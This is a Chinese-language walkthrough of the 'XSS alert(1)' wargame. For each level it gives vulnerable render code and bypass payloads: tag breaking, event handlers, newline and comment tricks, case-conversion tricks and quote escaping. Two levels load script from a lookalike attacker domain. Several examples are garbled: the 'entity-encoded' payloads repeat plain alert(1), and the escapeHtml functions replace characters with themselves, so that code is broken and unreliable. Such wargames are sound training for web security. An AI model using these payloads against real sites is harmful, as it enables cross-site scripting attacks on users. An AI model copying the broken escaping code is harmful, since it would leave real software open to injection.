Wargame XSS-alert(1)
0x00 没有任何过滤
server code
function render (input) {
return '<div>' + input + '</div>'
}
分析
对输入 input没有做任何的过滤,直接在div标签之间输出了
input code
<script>alert(1)</script>
0x01 textarea标签
server code
function render (input) {
return '<textarea>' + input + '</textarea>'
}
分析
对于输出input没有做任何的过滤,将input输出在了 textarea标签里,使用”“闭合前面的标签即可
Input code
</textarea><script>alert(1)</script><textarea>
0x02 input标签
server code
function render (input) {
return '<input type="name" value="' + input + '">'
}
分析
这里返回了一个input标签,只需要闭合前面的双引号和尖括号即可 “>
或者是在input标签里使用onfocus事件,加上autofocus自动执行,无需交互
Input code
1"><script>alert(1)</script>
1" onfocus=javascript:alert(1) autofocus>
0x03 过滤圆括号和方括号
server code
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
分析
使用正则表达式全局匹配将[]和()替换成空字符
Input code
1、使用 反撇号 ` 代替圆括号
<img src=0 onerror="alert`1`">
2、将圆括号进行html实体编码
<img src=1 onerror=alert(1)>
<img src=1 onerror=alert(1)>
<img src=1 onerror=alert(1)>
0x04 过滤方括号、圆括号、反撇号
server code
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
分析
过滤了方括号、圆括号、反撇号
Input code
使用HTML实体编码绕过
<img src=1 onerror=alert(1)>
<img src=1 onerror=alert(1)>
<img src=1 onerror=alert(1)>
<svg><script>alert(1)</script
0x05 绕过注释符
server code
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
分析
全局过滤了- 和 > 防止我们闭合注释
使用–!>绕过并跳出注释;
html注释:或者
Input code
--!><script>alert(1)</script>
0x06 换行绕过
server code
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
分析
全局匹配无论大小写以auto开头
或者on开头=结尾的字符串,将其替换成_
而且可以看到输出点限制在了input标签内
Input code
type=image src onerror
=alert(1)
2、使用换行符绕过正则匹配
onclick
=
alert(1)
0x07
server code
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
分析
匹配以 <开头 > 结尾的字符串
\/? 匹配 / 零次或一次
[^>] 该表达式匹配除 > 之外的其他字符
Input code
利用浏览器容错性,去掉>闭合绕过;最后加个空格或者回车
<svg/onload='alert(1)'
<img src=x onerror=alert(1)
<svg/onload=alert(1)
0x08
server code
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
分析
将</style>替换掉
在>前面加个空格绕过
</style >
Input code
1、在标签>闭合前加空格绕过;
</style ><script>alert(1)</script>
2、在标签>闭合前换行绕过;
</style
><script>alert(1)</script>
0x09
server code
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
分析
验证url是不是 https://www.segmentfault.com
可以接着在后面闭合构造
或者在构造符合要求的url去调用
正则匹配以https://www.segmentfault.com开头的输入,若无匹配返回失败;
input code
闭合前面的 script
https://www.segmentfault.com"></script><script>alert(1)</script><"
或者构造url调用自己的js代码
https://www.segmentfault.com.xxxxx.xxxx/xss.js
0x0A
server code
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
分析
将 & ‘ “ < > / 全局替换为实体字符
但是可以使用以https://www.segmentfault.com开头的url链接去调用js
Input code
https://www.segmentfault.com.af/alert.js
0x0B
server code
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
分析
将输入的所有字符都转换为大写
大写的ALERT不是有效的JavaScript函数,用编码绕过小写到大写的替换即可
Input code
<img src=0 onerror=alert(1)>
<svg><img src=0 onerror=alert(1)>
<svg><script><img src=0 onerror=alert(1)></script>
0x0C
server code
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
分析
全局匹配不能使用script
Input code
<img src=0 onerror=alert(1)>
0x0D
server code
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
分析
正则匹配过滤 </“‘ 替换为空字符,输出是在//注释后面
输出点直接是在script标签内,通过换行绕过//注释
由于过滤了 / ,//和/**/注释失效,
过滤了’ 无法使用 (‘ 闭合后面的 ‘)
可使用HTML的–>闭合绕过
input code
1
alert(1)
-->
0x0E
server code
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
分析
正则匹配以<开头,后面接英文字母大小写字符 即 <+字母 的替换掉
查资料发现字符ſ大写后为S(ſ不等于s)
input
<ſcript src=0 onerror=alert(1)></script>
0x0F
server code
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
分析
正则表达式将 & ‘ “ < > / 转换为实体符
console.error()向 Web 控制台输出一条错误消息。
虽然对很多字符进行了转义,但转义的结果仍在引号中,会被再次解释,故当做没有任何转义即可
input code
');alert('1
0x010
server code
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
分析
没有做任何过滤
input code
alert(1)
0x11
server code
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
分析
在
\\ ' ` < > \ \n \r \t \f \v
前面加 \
input code
");alert(1)("
0x12
server code
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
分析
正则表达式将双引号进行了使用\转义
我们可以在加一个\将\再转义一次
input code
\");alert(1);//